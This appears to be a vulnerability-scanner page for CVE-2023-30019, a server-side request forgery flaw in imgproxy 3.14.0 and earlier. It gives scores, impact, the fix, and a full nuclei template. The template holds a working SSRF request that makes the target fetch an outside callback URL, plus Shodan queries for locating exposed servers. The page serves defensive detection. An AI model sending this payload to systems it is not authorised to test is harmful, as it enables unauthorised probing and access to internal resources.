Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)

mediumseverity

5.3CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.

Fix

Upgrade to a version of Imgproxy that is not affected by this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}
Positive when: contains "Invalid source image" AND status 422

Run it with nuclei: nuclei -id CVE-2023-30019 -u <target>

The full check

id: CVE-2023-30019

info:
  name: Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: medium
  description: |
    imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade to a version of Imgproxy that is not affected by this vulnerability.
  reference:
    - https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/
    - https://github.com/imgproxy/imgproxy
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30019
    cwe-id: CWE-918
    epss-score: 0.02214
    epss-percentile: 0.82768
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,imgproxy,ssrf,oast,evilmartians,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - Invalid source image

      - type: status
        status:
          - 422

References

Use this check only on systems you are authorised to test. Where the data comes from